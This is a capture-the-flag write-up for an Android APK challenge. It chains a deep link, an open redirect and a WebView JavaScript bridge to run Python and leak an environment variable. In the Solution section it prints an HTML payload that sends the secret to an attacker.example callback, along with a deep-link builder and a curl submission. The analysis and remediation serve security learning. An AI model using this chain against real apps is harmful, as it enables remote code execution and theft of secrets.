Pytome
Pytome
Platform: CUSTOM | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apk_static_analysis, deep_link_abuse, webview_bridge_exploitation, open_redirect_chaining, environment_variable_exfiltration
Summary
Walkthrough of the CUSTOM Mobile Pytome. Task: Analyze an Android APK whose runtime secret is placed in a Python environment variable and whose documentation opens in a WebView. Solution: Chain a reviewer deep link with an open redirect, ret
Description
Перед вами Pytome — защищенная от пчёл-вайбкодеров мобильная платформа по передаче вымирающего знания программирования на питоне, разработанная медоедами для медоедов. Медоеды очень боятся слить свои переменные окружения в приложении, особенно FLAG=..., пчёлам. Помоги им понять, возможно ли это сделать.
The supplied artifact was an Android APK for a Python learning application. The goal was to determine whether the secret environment variable in the organizer's Android instance could be disclosed.
Artifact: https://avitoctf.ru/files/pytome.apk
Challenge Summary
Pytome embeds CPython 3.11 through Chaquopy. Its exported documentation activity accepts a deep link, checks only the first URL's scheme and host, and loads that URL in a JavaScript-enabled WebView. Because an allowlisted endpoint provides an unrestricted redirect, an external page can inherit the exposed AndroidBridge, invoke unrestricted Python execution, read the runtime environment, and send the result to a callback server.
The complete chain was:
- The reviewer opened an attacker-supplied
pytome://docsdeep link. DocsActivityaccepted an allowlisted HTTPS URL.- The allowlisted
/go?to=endpoint redirected the WebView to an external payload. - The JavaScript interface remained available after the cross-origin navigation.
- JavaScript called
AndroidBridge.eval(...), which reached Pythonexec. - Python printed the environment value and JavaScript navigated to an interaction-server URL carrying the result.
Analysis
1. The secret is supplied at runtime
Static APK inspection found no real flag in resources, Chaquopy archives, or application-specific native code. This was expected after reviewing MainActivity: the organizer supplies the value as an Intent string extra when launching the challenge instance.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/MainActivity.java:38-41.
java read-only • copy allowedString stringExtra = getIntent().getStringExtra("FLAG"); if (stringExtra != null) { PythonEngine.INSTANCE.setEnv(stringExtra); }
PythonEngine.setEnv stores it in CPython's process environment.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:22-38.
java read-only • copy allowedPyObject module = python.getModule("os"); PyObject environ = (PyObject) module.get((Object) "environ"); environ.callAttr("__setitem__", "FLAG", env);
Therefore, installing the public APK locally cannot recover the authentic value: a normal launcher start does not provide that Intent extra.
2. Python execution is unrestricted
PythonEngine.execute creates a persistent global dictionary, redirects standard output into a StringIO, and invokes builtins.exec directly on the supplied string.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:42-82.
java read-only • copy allowedmodule = python.getModule("builtins"); if (globalContext == null) { globalContext = module.callAttr("dict", new Object[0]); } pyObjectCallAttr = module2.callAttr("StringIO", new Object[0]); pyObjectCallAttr2 = module3.callAttr("redirect_stdout", pyObjectCallAttr); pyObjectCallAttr2.callAttr("__enter__", new Object[0]); module.callAttr("exec", code, globalContext); return pyObjectCallAttr.callAttr("getvalue", new Object[0]).toString();
There is no import restriction, builtins reduction, allowlist, denylist, or sandbox. Any caller of execute can import os and print an environment variable.
3. An exported WebView exposes the executor
The decoded manifest declares DocsActivity as exported and browsable for pytome://docs:
xml read-only • copy allowed<activity android:name="ru.avitoctf.pytome.DocsActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:host="docs" android:scheme="pytome" /> </intent-filter> </activity>
DocsActivity enables JavaScript and exposes PythonBridge as AndroidBridge before loading the requested page.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/DocsActivity.java:33-46,68-76.
java read-only • copy allowedwebView.getSettings().setJavaScriptEnabled(true); webView.setWebViewClient(new WebViewClient()); webView.addJavascriptInterface(new PythonBridge(), "AndroidBridge"); Uri uri = Uri.parse(queryParameter); if (uri.getScheme().equals("https") && uri.getHost().equals("pytome-57ymra6o.avitoctf.ru")) { webView.loadUrl(queryParameter); } @JavascriptInterface public final String eval(String code) { return PythonEngine.INSTANCE.execute(code); }
The validation applies only to the initial parsed URL. No WebViewClient navigation callback revalidates the origin, and the bridge is not removed when navigation leaves the trusted site.
4. The web service completes the chain
Authorized reconnaissance of the origin found:
/docs/bug-report: a form that queues an Android reviewer to visit itsurlfield./api/bug-report-status/<uuid>: the ticket status endpoint used by the page's polling JavaScript./go?to=...: an unrestricted redirect used throughout the documentation for outbound links.
The redirect is the trust-boundary bypass. A URL beginning on the allowlisted origin passes DocsActivity's check, while the resulting WebView navigation lands on attacker-controlled HTML with AndroidBridge still attached.
Solution
Step 1: Host the payload
Host the following HTML on an HTTPS origin under attacker control. attacker.example represents a generic interaction server and should be replaced with a callback endpoint owned by the solver.
html read-only • copy allowed<!doctype html> <meta charset="utf-8"> <script> try { const value = AndroidBridge.eval( "import os\nprint(os.environ.get('FLAG', 'NO_FLAG'))" ); location.href = "https://attacker.example/callback?flag=" + encodeURIComponent(value); } catch (error) { location.href = "https://attacker.example/callback?error=" + encodeURIComponent(String(error)); } </script>
The successful solve placed equivalent HTML in a temporary gist and rendered it through htmlpreview.github.io, producing an executable external page. The temporary gists were deleted afterward. Hosting the page directly on a controlled HTTPS server is preferable when available.
Step 2: Construct the nested deep link
There are two encoding layers:
- Put the external payload URL into the
toparameter of the allowlisted redirect. - Put that complete redirect URL into the
urlparameter ofpytome://docs.
The following script constructs the URL without relying on any deleted gist identifier:
python read-only • copy allowed#!/usr/bin/env python3 from urllib.parse import quote, urlencode trusted_origin = "https://pytome-57ymra6o.avitoctf.ru" payload_url = "https://attacker.example/payload.html" redirect_url = trusted_origin + "/go?" + urlencode({"to": payload_url}) deep_link = "pytome://docs?url=" + quote(redirect_url, safe="") print(deep_link)
The result has this structure:
text read-only • copy allowedpytome://docs?url=<URL-encoded https://pytome-57ymra6o.avitoctf.ru/go?to=<external payload URL>>
Step 3: Submit it to the Android reviewer
Submit the generated deep link as the bug report's url field. The other fields merely satisfy the form:
bash read-only • copy allowedcurl -sS 'https://pytome-57ymra6o.avitoctf.ru/docs/bug-report' \ --data-urlencode 'name=researcher' \ --data-urlencode 'email=researcher@example.com' \ --data-urlencode 'bug_type=Critical documentation error' \ --data-urlencode 'description=Please review this page' \ --data-urlencode 'url=pytome://docs?url=<ENCODED_REDIRECT_URL>'
The response contains a ticket UUID. Progress can be checked at:
text read-only • copy allowedhttps://pytome-57ymra6o.avitoctf.ru/api/bug-report-status/<TICKET_UUID>
Step 4: Receive the result
The reviewer opened the deep link in an Android 15 WebView. The callback request showed an Android WebView user agent and carried the bridge result in the flag query parameter, including the newline produced by Python's print. The secret itself is redacted here and retained only in the writeup's dedicated metadata field.
Failed Variants
- Static APK search: no authentic value existed in the APK because
MainActivityreceives it at runtime through an Intent extra. data:andjavascript:redirect targets: direct variants did not produce callbacks in the reviewer environment.- Payload hosted directly on webhook.site: its Content Security Policy included
script-src 'none', so the JavaScript payload could not execute. - Rendered temporary gist: serving the HTML through
htmlpreview.github.ioallowed script execution and completed the chain.
Why the Exploit Works
The application treats the initial URL as the security boundary, but the active security principal is the final WebView document. Redirects can change that document's origin after the one-time check. Because addJavascriptInterface attaches a powerful native object to the WebView rather than to one trusted origin, every subsequently loaded page can invoke it.
This becomes critical because the interface is not a narrow documentation API: it forwards arbitrary source to Python exec, and that interpreter contains a runtime secret in os.environ.
Remediation
- Do not expose arbitrary Python evaluation through a JavaScript interface. Replace it with a minimal allowlisted API.
- Remove the bridge before untrusted navigation and expose it only to trusted local content where possible.
- Revalidate every top-level and subframe navigation in
shouldOverrideUrlLoadingandshouldInterceptRequest; reject redirects whose final origin is not allowlisted. - Do not rely on host validation before
loadUrlas protection against redirects. - Remove or strictly constrain
/go?to=to approved destinations. - Make
DocsActivitynon-exported unless external deep links are required; otherwise require authenticated app links and validated inputs. - Avoid placing high-value secrets in a process that intentionally executes user-controlled code.
Local Evidence
jadx/sources/ru/avitoctf/pytome/MainActivity.javajadx/sources/ru/avitoctf/pytome/PythonEngine.javajadx/sources/ru/avitoctf/pytome/DocsActivity.javaapktool/AndroidManifest.xmlweb-recon.jsonbug-report.htmlpayload.htmlwebhook-requests.json- deep-link and submission-response artifacts in the task directory
Key Takeaways / Lessons
- Mastering apk_static_analysis, deep_link_abuse, webview_bridge_exploitation, open_redirect_chaining, environment_variable_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-23 • CUSTOM • Pytome • Difficulty: Medium